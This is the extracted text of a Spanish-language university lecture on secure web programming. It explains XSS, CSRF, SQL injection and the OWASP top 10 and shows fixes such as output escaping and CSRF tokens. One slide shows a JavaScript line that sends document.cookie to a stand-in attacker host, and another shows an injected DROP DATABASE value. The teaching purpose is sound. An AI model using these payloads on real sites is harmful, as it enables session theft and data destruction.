PDF de programación - Módulo VI - Programación Segura - Seguridad en la web

Imágen de pdf Módulo VI - Programación Segura - Seguridad en la web

Módulo VI - Programación Segura - Seguridad en la webgráfica de visualizaciones

Publicado el 20 de Octubre del 2019
472 visualizaciones desde el 20 de Octubre del 2019
1,6 MB
65 paginas
Creado hace 10a (24/06/2009)
Máster Profesional

en Tecnologías de Seguridad

Módulo VI - Programación Segura

Seguridad en la web

@josereyero

http://www.reyero.net

consulting@reyero.net

Seguridad en la Web

Introducción y objetivos
Programa de ejemplo
Seguridad en teoría
Seguridad en la práctica
Técnicas: XSS, CSRF, ....
Herramientas más seguras
Resumen y conclusión



Máster Profesional en Tecnologías de Seguridad

INTECO - UNIVERSIDAD DE LEÓN



2

Sólo sé

que no sé nada.

(como voy a demostrar)

(y yo también he escrito código inseguro)



Máster Profesional en Tecnologías de Seguridad

INTECO - UNIVERSIDAD DE LEÓN



3

pequeñas mentiras

y

Grandes
Verdades



Máster Profesional en Tecnologías de Seguridad

INTECO - UNIVERSIDAD DE LEÓN



4

pequeñas mentiras

Esta web es completamente segura.

Tiene muchos avisos de seguridad... ojo.

Por fin hemos conseguido que sea seguro.

El código abierto es más seguro.

El código abierto es menos seguro.

Estos datos son seguros.

Yo lo sé todo sobre seguridad en Internet.

Este lenguaje de programación es seguro.



Máster Profesional en Tecnologías de Seguridad

INTECO - UNIVERSIDAD DE LEÓN



5

Grandes Verdades

Lo único seguro en la vida... es que nos vamos a morir.
Si una aplicación no tiene ningún aviso de seguridad... ?

La seguridad no es un estado... es un proceso.

El código abierto es código abierto

Si es abierto, puedes tener garantías de que es seguro

(o no)

Las cosas son seguras en un contexto (para un uso).

La inteligencia tiene límites, la estupidez no.

El lenguaje de programación es infinitamente menos

importante que el programador.



Máster Profesional en Tecnologías de Seguridad

INTECO - UNIVERSIDAD DE LEÓN



6

Cosillas

del

desarollo

web



Máster Profesional en Tecnologías de Seguridad

INTECO - UNIVERSIDAD DE LEÓN



7

El enemigo

Jose A Reyero - Development Seed - Drupal Conference – DC - March 2009

Web 2.0

= Seguridad 2.0

Contenido generado por el usuario

Feeds RSS
Servicios

(Flickr, Google maps....)



Máster Profesional en Tecnologías de Seguridad

INTECO - UNIVERSIDAD DE LEÓN



9

Cocktail de tecnología

Unix
Oracle
Apache
Java
JSP
HTTP
Firefox
HTML
AJAX
Flash
PDF



Máster Profesional en Tecnologías de Seguridad

INTECO - UNIVERSIDAD DE LEÓN



10

Lenguages de Script

Ves lo que compras / ves lo que corre en el
servidor.
El programa sigue corriendo mucho tiempo
después de que el código se ha perdido.
Algunos, especialmente diseñados para la web.
Pequeña Teoría de la Complejidad (- es +)



Máster Profesional en Tecnologías de Seguridad

INTECO - UNIVERSIDAD DE LEÓN



11

La seguridad es...

Lenguajes de programación?

Frameworks?

Sistemas operativos?

Servidores?

Navegadores?



Máster Profesional en Tecnologías de Seguridad

INTECO - UNIVERSIDAD DE LEÓN



12

http://commons.wikimedia.org



Máster Profesional en Tecnologías de Seguridad

INTECO - UNIVERSIDAD DE LEÓN



13

technology can solve your security problems,

you don't understand the problems

you don't understand the technology.

If you think

then

and

Bruce Schneier



Máster Profesional en Tecnologías de Seguridad

INTECO - UNIVERSIDAD DE LEÓN



14

Roles

Construir
Estudiar
Destruir



Máster Profesional en Tecnologías de Seguridad

INTECO - UNIVERSIDAD DE LEÓN



15

La historia nos demuestra...

...que nunca aprendemos nada de la historia.

Máster Profesional en Tecnologías de Seguridad



INTECO - UNIVERSIDAD DE LEÓN



16

La Información es Poder

http://secunia.com/advisories/search/

http://ha.ckers.org/xss.html

http://www.gnucitizen.org/

http://www.google.com/



Máster Profesional en Tecnologías de Seguridad

INTECO - UNIVERSIDAD DE LEÓN



17

La sabiduría consiste en ser capaz de distinguir

entre los peligros y elegir el menos dañino.

Maquiavelo, “El Príncipe”



Máster Profesional en Tecnologías de Seguridad

INTECO - UNIVERSIDAD DE LEÓN



18

CSI

Corto pero Sumamente Inseguro

(Práctica en PHP)



Máster Profesional en Tecnologías de Seguridad

INTECO - UNIVERSIDAD DE LEÓN



19

CSI

sudo su
apt-get install apache2 php5
dpkg-reconfigure apache2 php5
cd /var/www
wget http://reyero.net/csi.tar.gz
tar xvzf csi.tar.gz
http://localhost/csi/csi.php



Máster Profesional en Tecnologías de Seguridad

INTECO - UNIVERSIDAD DE LEÓN



20

CSI



Máster Profesional en Tecnologías de Seguridad

INTECO - UNIVERSIDAD DE LEÓN



21

CSI

http://localhost/csi.php
http://localhost/xss.html
http://localhost/csrf.html



Máster Profesional en Tecnologías de Seguridad

INTECO - UNIVERSIDAD DE LEÓN



22

Conceptos

Cliente <------- HTTP / HTTPS -------> Servidor

Cookies
Sesión
URL
Post



Máster Profesional en Tecnologías de Seguridad

INTECO - UNIVERSIDAD DE LEÓN



23

El eje del mal

HTTP / HTML

Javascript (AJAX)

Cadenas de texto

Otros bichos (Flash, PDF, ...)

....



Máster Profesional en Tecnologías de Seguridad

INTECO - UNIVERSIDAD DE LEÓN



24

La importancia del dominio

http://midominio.com/.........



Máster Profesional en Tecnologías de Seguridad

INTECO - UNIVERSIDAD DE LEÓN



25

Javascript



Máster Profesional en Tecnologías de Seguridad

INTECO - UNIVERSIDAD DE LEÓN



26

Cómo de malo?

alert(document.cookies);

document.write('<h1>Tu web me pertenece</h1>');

new Image().src =

"http://malos.example.com/guarda.cgi?

cookiesrobadas="+encodeURI(document.cookie);



Máster Profesional en Tecnologías de Seguridad

INTECO - UNIVERSIDAD DE LEÓN



27

Javascript

var params = "user=value1&password=value2";
http.open("POST", “password.php”, true);

http.setRequestHeader("Content-type", "application/x-www-
form-urlencoded");
http.setRequestHeader("Content-length", params.length);
http.setRequestHeader("Connection", "close");

http.onreadystatechange = function() {
if(http.readyState == 4 && http.status == 200) {
alert(http.responseText);
}
}



Máster Profesional en Tecnologías de Seguridad

INTECO - UNIVERSIDAD DE LEÓN



28

El contexto

Es ...¿seguro?¿inseguro?



Máster Profesional en Tecnologías de Seguridad

INTECO - UNIVERSIDAD DE LEÓN



29

Texto y Contexto

jose

SELECT FROM users WHERE name = 'jose';

<h2>Hola jose</h2>

nombre = 'jose';

http://miweb.com/jose



Máster Profesional en Tecnologías de Seguridad

INTECO - UNIVERSIDAD DE LEÓN



30

Texto y Contexto

SELECT FROM users

WHERE name = 'malo';DROP DATABASE';

<h2>Hola malo</h2><h2>Envía SMS al 666</h2>

nombre = 'malo';alert(“Hola”);//';

http://miweb.com/malo?delete=yes



Máster Profesional en Tecnologías de Seguridad

INTECO - UNIVERSIDAD DE LEÓN



31

Recuerda

validar antes de usar



Máster Profesional en Tecnologías de Seguridad

INTECO - UNIVERSIDAD DE LEÓN



32

OWASP top 10

Cross Site Scripting (XSS)
Injection Flaws
Malicious File Execution
Insecure Direct Object Reference
Cross Site Request Forgery (CSRF)
Information leakage and Improper Error Handling
Broken Authentication and Session Management
Insecure Cryptographic Storage
Insecure Communications
Failure to Restrict URL access

http://www.owasp.org/index.php/Top_10_2007



Máster Profesional en Tecnologías de Seguridad

INTECO - UNIVERSIDAD DE LEÓN



33



Máster Profesional en Tecnologías de Seguridad



http://hackademix.net/2008/04/26/mass-attack-faq/

INTECO - UNIVERSIDAD DE LEÓN

34

XSS

Cross-site Scripting

¿qué?

¿cómo?

¿cuándo?

¿dónde?

http://en.wikipedia.org/wiki/Cross-site_scripting



Máster Profesional en Tecnologías de Seguridad

INTECO - UNIVERSIDAD DE LEÓN



35

XSS - ¿qué?

Introducen código (ejecutable o no) en una
página que está en nuestro dominio
HTML, Javascript, CSS, etc, etc..

Lenguajes: todos
HTTPS: Sí



Máster Profesional en Tecnologías de Seguridad

INTECO - UNIVERSIDAD DE LEÓN



36

XSS - ¿cómo?

Enlace

Contenido

Javascript

La “víctima” sólo tiene que visitar la página

maliciosa o nuestra página con contenido “malo”



Máster Profesional en Tecnologías de Seguridad

INTECO - UNIVERSIDAD DE LEÓN



37

XSS - ¿dónde?

print "<p>No se ha podido iniciar
sesion para $login </p>\n";

print "<p>Hola $usuario </p>";



Máster Profesional en Tecnologías de Seguridad

INTECO - UNIVERSIDAD DE LEÓN



38

XSS - solución

print "<p>No se ha podido iniciar
sesion para “ .
htmlspecialchars($login) . “ </p>\n";

print "<p>Hola “ .
htmlspecialchars($usuario) . “</p>";



Máster Profesional en Tecnologías de Seguridad

INTECO - UNIVERSIDAD DE LEÓN



39

XSS para jugar

http://ha.ckers.org/xss.html



Máster Profesional en Tecnologías de Seguridad

INTECO - UNIVERSIDAD DE LEÓN



40

CSRF

Cross-site Request Forgery

¿qué?

¿cómo?

¿cuándo?

¿dónde?

http://en.wikipedia.org/wiki/Csrf



Máster Profesional en Tecnologías de Seguridad

INTECO - UNIVERSIDAD DE LEÓN



41

CSRF - ¿qué?

Ejecutar “acciones” con las credenciales del

usuario

Puede hacer todo lo que el usuario puede hacer

No es específico del lenguaje de programacioń



Máster Profesional en Tecnologías de Seguridad

INTECO - UNIVERSIDAD DE LEÓN



42

CSRF - ¿cómo?

Enlace

Formulario
Javascript

La “víctima” sólo tiene que visitar la página

maliciosa



Máster Profesional en Tecnologías de Seguridad

INTECO - UNIVERSIDAD DE LEÓN



43

CSRF - ¿cuándo?

Una URL ejecuta una acción

Formulario ejecuta una acción

Tanto las URLs como los formularios necesitan
medidas de seguridad adicionales



Máster Profesional en Tecnologías de Seguridad

INTECO - UNIVERSIDAD DE LEÓN



44

CSRF - ¿dónde?

<form>
<input type="hidden" name="accion" value="accion" />
<input type="submit" value="Accion" />
</form>

case 'accion':
if ($usuario) {
accion_potencialmente_desastrosa();
}



Máster Profesional en Tecnologías de Seguridad

INTECO - UNIVERSIDAD DE LEÓN



45

CSRF – Solución (PHP)

<form>
<input type="hidden" name="accion" value="accion" />
<input type="hidden" name="token" value="a3dffs78" />
<input type="submit" value="Accion" />
</
  • Links de descarga
http://lwp-l.com/pdf16746

Comentarios de: Módulo VI - Programación Segura - Seguridad en la web (0)


No hay comentarios
 

Comentar...

Nombre
Correo (no se visualiza en la web)
Valoración
Comentarios
Es necesario revisar y aceptar las políticas de privacidad